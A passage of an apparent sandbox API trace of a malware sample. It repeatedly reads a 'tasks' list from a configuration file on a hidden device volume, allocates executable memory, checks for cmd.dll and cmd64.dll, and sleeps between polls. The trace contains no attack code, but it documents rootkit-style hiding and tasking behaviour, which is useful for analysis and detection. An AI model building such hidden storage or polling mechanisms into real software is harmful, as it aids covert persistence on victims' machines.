MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.761] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0120.761] IdePortDispatch () returned 0x103 [0120.761] KeWaitForMutexObject () returned 0x0 [0120.761] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.761] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.761] KeLeaveCriticalRegion () [0120.761] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.761] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.761] KeEnterCriticalRegion () [0120.761] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.761] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034d6000 [0120.761] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.761] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.761] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.761] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.761] IdePortDispatch () returned 0x103 [0120.761] KeWaitForMutexObject () returned 0x0 [0120.761] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.761] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.761] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.761] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.761] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.761] IdePortDispatch () returned 0x103 [0120.761] KeWaitForMutexObject () returned 0x0 [0120.762] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.762] KeLeaveCriticalRegion () [0120.762] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.762] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.762] KeEnterCriticalRegion () [0120.762] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.762] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.762] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.762] KeLeaveCriticalRegion () [0120.762] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.762] KeEnterCriticalRegion () [0120.762] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.762] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.762] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbb310, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.762] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.762] KeLeaveCriticalRegion () [0120.762] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.762] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.762] KeEnterCriticalRegion () [0120.762] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.762] ExFreePoolWithTag (P=0xfffffa8003bbd010, Tag=0x0) [0120.762] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.762] KeLeaveCriticalRegion () [0120.762] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.763] ReleaseMutex (hMutex=0xf0) returned 1 [0120.763] Sleep (dwMilliseconds=0x927c0) [0120.778] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0120.778] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.778] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0120.778] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.778] KeEnterCriticalRegion () [0120.778] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.778] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.778] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.778] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.778] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0120.778] IdePortDispatch () returned 0x103 [0120.778] KeWaitForMutexObject () returned 0x0 [0120.779] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.779] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.779] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.779] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.779] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.779] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbdbc0 [0120.779] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.779] KeLeaveCriticalRegion () [0120.779] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.779] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.779] KeEnterCriticalRegion () [0120.779] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.779] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.779] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.779] KeLeaveCriticalRegion () [0120.779] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.779] KeEnterCriticalRegion () [0120.779] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.779] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.779] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.779] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.779] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0120.779] IdePortDispatch () returned 0x103 [0120.779] KeWaitForMutexObject () returned 0x0 [0120.779] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.779] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.779] KeLeaveCriticalRegion () [0120.779] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.779] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.779] KeEnterCriticalRegion () [0120.779] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.779] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034db000 [0120.779] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.779] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.779] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.780] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.780] IdePortDispatch () returned 0x103 [0120.780] KeWaitForMutexObject () returned 0x0 [0120.780] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.780] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.780] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.780] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.780] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.780] IdePortDispatch () returned 0x103 [0120.780] KeWaitForMutexObject () returned 0x0 [0120.780] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.780] KeLeaveCriticalRegion () [0120.780] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.781] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.781] KeEnterCriticalRegion () [0120.781] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.781] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.781] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.781] KeLeaveCriticalRegion () [0120.781] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.781] KeEnterCriticalRegion () [0120.781] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.781] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.781] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbdc80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.781] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.781] KeLeaveCriticalRegion () [0120.781] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.781] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.781] KeEnterCriticalRegion () [0120.781] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.781] ExFreePoolWithTag (P=0xfffffa8003bbdbc0, Tag=0x0) [0120.781] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.781] KeLeaveCriticalRegion () [0120.781] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.781] ReleaseMutex (hMutex=0xf0) returned 1 [0120.781] Sleep (dwMilliseconds=0x927c0) [0120.794] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0120.794] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.795] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0120.795] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.795] KeEnterCriticalRegion () [0120.795] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.795] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.795] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.795] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.795] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0120.795] IdePortDispatch () returned 0x103 [0120.795] KeWaitForMutexObject () returned 0x0 [0120.795] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.795] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.795] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.795] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.795] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.795] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbd010 [0120.795] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.795] KeLeaveCriticalRegion () [0120.795] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.795] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.795] KeEnterCriticalRegion () [0120.795] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.795] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.795] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.795] KeLeaveCriticalRegion () [0120.795] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.795] KeEnterCriticalRegion () [0120.795] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.795] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.795] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.795] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.795] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0120.795] IdePortDispatch () returned 0x103 [0120.796] KeWaitForMutexObject () returned 0x0 [0120.796] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.796] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.796] KeLeaveCriticalRegion () [0120.796] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.796] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.796] KeEnterCriticalRegion () [0120.796] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.796] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034e0000 [0120.796] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.796] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.796] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.796] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.796] IdePortDispatch () returned 0x103 [0120.796] KeWaitForMutexObject () returned 0x0 [0120.796] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.796] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.796] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.796] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.796] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.796] IdePortDispatch () returned 0x103 [0120.797] KeWaitForMutexObject () returned 0x0 [0120.797] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.797] KeLeaveCriticalRegion () [0120.797] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.797] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.797] KeEnterCriticalRegion () [0120.797] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.797] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.797] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.797] KeLeaveCriticalRegion () [0120.797] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.797] KeEnterCriticalRegion () [0120.797] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.797] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.798] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbdc30, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.798] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.798] KeLeaveCriticalRegion () [0120.798] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.798] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.798] KeEnterCriticalRegion () [0120.798] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.798] ExFreePoolWithTag (P=0xfffffa8003bbd010, Tag=0x0) [0120.798] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.798] KeLeaveCriticalRegion () [0120.798] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.798] ReleaseMutex (hMutex=0xf0) returned 1 [0120.798] Sleep (dwMilliseconds=0x927c0) [0120.811] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0120.811] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.811] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0120.811] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.811] KeEnterCriticalRegion () [0120.811] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.811] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.811] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.811] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.811] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0120.811] IdePortDispatch () returned 0x103 [0120.812] KeWaitForMutexObject () returned 0x0 [0120.812] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.812] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.812] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.812] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.812] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.812] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbb390 [0120.812] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.812] KeLeaveCriticalRegion () [0120.812] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.812] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.812] KeEnterCriticalRegion () [0120.812] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.812] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.812] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.812] KeLeaveCriticalRegion () [0120.812] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.812] KeEnterCriticalRegion () [0120.812] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.812] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.812] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.812] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.812] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0120.812] IdePortDispatch () returned 0x103 [0120.812] KeWaitForMutexObject () returned 0x0 [0120.812] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.812] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.812] KeLeaveCriticalRegion () [0120.812] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.813] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.813] KeEnterCriticalRegion () [0120.813] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.813] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034e5000 [0120.813] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.813] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.813] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.813] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.813] IdePortDispatch () returned 0x103 [0120.813] KeWaitForMutexObject () returned 0x0 [0120.813] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.813] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.813] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.813] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: 